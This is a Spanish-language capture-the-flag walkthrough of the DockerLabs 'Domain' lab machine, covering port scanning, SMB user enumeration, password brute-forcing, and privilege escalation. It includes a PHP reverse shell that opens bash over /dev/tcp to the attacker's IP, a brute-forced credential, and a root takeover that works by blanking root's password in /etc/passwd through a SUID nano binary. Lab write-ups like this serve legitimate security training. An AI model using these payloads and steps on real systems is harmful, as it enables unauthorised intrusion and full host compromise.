NovaHacking
  • Whoami
  • Artículos
    • Panamá Papers
    • Tratamiento para la TTY
    • Introducción a la Ciberseguridad
    • Introducción al Buffer Overflow
    • Introducción al Pivoting
    • IDS - IPS (Suricata)
    • Colisión de Hash
    • RSA Cracker
  • Herramientas
    • Explotación
      • Hydra
      • pwncat-cs
    • Reconocimiento
      • Nmap
      • Arp scan
  • CTF
    • Dockerlabs
      • Amor
      • BreakMySSH
      • DockHackLab
      • FirstHacking
      • sjd
      • WhereIsMyWebShell
      • Dark
      • Queuemedic
      • Buffered
      • Pn
      • Canario
      • Domain
      • HereBash
  • Linux
    • 🐧Inicio Linux
Powered by GitBook
On this page
  1. CTF
  2. Dockerlabs

Domain

TAG -> Dockerlabs | CTF

PreviousCanarioNextHereBash

Last updated 20 days ago

Datos
  • Máquina -> Domain

  • Dificultad -> Medio

  • Creador ->

Como primer punto, luego de desplegar el laboratorio, debemos verificar conectividad con la máquina víctima, usando el comando ping.

ping -c 1 172.17.0.2 -R

Resultado

PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.114 ms
RR: 	172.17.0.1
	172.17.0.2
	172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.114/0.114/0.114/0.000 ms

Como podemos ver en la salida, el ttl de la máquina es 64 por lo cual podemos intuir que estamos frente a una máquina Linux, ahora después de crear nuestras carpetas de trabajo usando mkt y sabiendo que tenemos conexión podemos ejecutar un escaneo básico con nuestra herramienta escrita en Python de la siguiente manera:

PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C

Resultado

[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 80 abierto!
  [!] Puerto 139 abierto!
  [!] Puerto 445 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [80, 139, 445]
[+] Información de servicios y versiones:

  [+] 80/tcp      http        Apache httpd 2.4.52 ((Ubuntu))
  [+] 139/tcp     netbi os-ssn Samba smbd 4
  [+] 445/tcp     netbi os-ssn Samba smbd 4

[+] Comprobando vulnerabilidades:

  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [200 OK] Apache[2.4.52],
        Country[RESERVED][ZZ],
        HTML5,
        HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)],
        IP[172.17.0.2],
        Title[¿Qué es Samba?],

[*] Evidencia guardada en output.txt

Vemos 3 puertos abiertos, al parecer nos enfrentaremos a Samba, aun así podemos escanear los puertos con nmap y ver información más detallada.

nmap -p- --open -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG allPorts.txt

Resultado

Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:56 EST
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds

Ahora extraemos la información más relevante.

extractPorts allPorts.txt 

Resultado

───────┬──────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 172.17.0.2
   5   │     [*] Open ports: 80,139,445
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────

Ahora procedemos a hacer un escaneo más profundo con nmap.

nmap -p 80,139,445 -sCV 172.17.0.2 -oN targeted.txt

Resultado

Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:59 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.000028s latency).

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.52 ((Ubuntu))
|_http-title: \xC2\xBFQu\xC3\xA9 es Samba?
|_http-server-header: Apache/2.4.52 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-01-30T17:59:42
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds

Si vemos la pagina web encontraremos lo siguiente:

Información sobre que es Samba así que pasaremos a ver que información útil podemos encontrar en Samba:

No vemos nada útil, vemos los recursos compartidos pero lo más probable que necesites mínimo un usuario para enumerar más cosas, ahora pasemos a usar rpcclient para ver que conseguimos.

Como podemos ver la herramienta rpcclient si logro extraernos usuarios del sistema:

  • james

  • bob

Aunque es verdad que aún nos falta las credenciales de ellos, pero podemos intentar conseguir sus contraseñas mediante fuerza bruta, en este caso usaremos msfconsole:

Lo configuraríamos del siguiente modo:

Ahora simplemente ejecutamos usando run y esperamos.

Y después de un rato vemos que logramos romper la contraseña de bob que es star, ahora lo que podríamos hacer es usar smbmap de la siguiente manera:

Ahora si podemos ver qué cosas puede el usuario bob editar y ver, ejemplo el recurso compartido html, podemos enumerarlo de la siguiente manera:

Encontramos un index.html que debe ser el cual vemos en la pagina web, también debemos tener en cuenta que esta pagina web soporta php, por lo cual teniendo permisos de escritura podemos subir una [[Reverse Shells]] de la siguiente manera:

Contenido de rshell.php

<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'");
?>

Podemos verificar que se subió correctamente con smbmap:

Vemos que se subió correctamente por lo cual podemos ponernos en escucha en el puerto 4444 y acceder desde la web a http://172.17.0.2/rshell.php, podremos ver lo siguiente.

Le daremos un Tratamiento a la TTY como ya es costumbre:

www-data@ec127a5c798d:/var/www/html$ script /dev/null -c bash # shell victima
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@ec127a5c798d:/var/www/html$ ^Z         # shell victima -> Ctrl + Z
[1]  + 3363322 suspended  nc -nlvp 4444
--> exploitDB stty raw -echo;fg                 # En nuestra shell
[1]  + 3363322 continued  nc -nlvp 4444
										reset xterm # Receteamos la terminal

Luego si queremos una terminal con colores podemos usar el siguiente comando:

stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc

En stty rows 46 cols 168 deben poner el resultado que les devuelva este comando a ustedes.

stty size

En mi caso -> 45 166

Si enumeramos un poco internamente, vemos los 2 usuarios que vimos en smb también nos podemos migrar al usuario bob, el cual tiene como contraseña star.

www-data@ec127a5c798d:/var/www/html$ cd /home/
www-data@ec127a5c798d:/home$ ls
bob  james
www-data@ec127a5c798d:/home$ su bob
Password: 
bob@ec127a5c798d:/home$ whoami
bob
bob@ec127a5c798d:/home$ 

No tenemos sudo instalado, así que pasamos pasar a buscar archivos SUID.

find / -perm -4000 -user root 2>/dev/null | xargs ls -l

Resultado

-rwsr-xr-x 1 root root        72712 Feb  6  2024 /usr/bin/chfn
-rwsr-xr-x 1 root root        44808 Feb  6  2024 /usr/bin/chsh
-rwsr-xr-x 1 root root        72072 Feb  6  2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root        47480 Feb 21  2022 /usr/bin/mount
-rwsr-xr-x 1 root root       283144 Feb 19  2022 /usr/bin/nano
-rwsr-xr-x 1 root root        40496 Feb  6  2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root        59976 Feb  6  2024 /usr/bin/passwd
-rwsr-xr-x 1 root root        55672 Feb 21  2022 /usr/bin/su
-rwsr-xr-x 1 root root        35192 Feb 21  2022 /usr/bin/umount
-rwsr-xr-- 1 root messagebus  35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Y ya podemos ver un binario que nos llama la atención nano, no es un binario que debe tener permisos SUID, por lo cual podemos usar este editor de texto con permisos de root, algo que podríamos hacer es quitarte la contraseña a root de la siguiente manera:

Ejecutamos

/usr/bin/nano /etc/passwd

Dentro, quitamos la x después del primer root:, quedando de la siguiente manera.

root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Luego guardamos con Ctrl + o luego Enter y salimos. Por último podemos ejecutar su root y listo:

bob@ec127a5c798d:~$ /usr/bin/nano /etc/passwd
bob@ec127a5c798d:~$ su root
root@ec127a5c798d:/home/bob# whoami
root
root@ec127a5c798d:/home/bob# id
uid=0(root) gid=0(root) groups=0(root)
root@ec127a5c798d:/home/bob# cd
root@ec127a5c798d:~# 

Con esto ya logramos vulnerar la maquina domain de la plataforma DockerLabs.

El Pingüino de Mario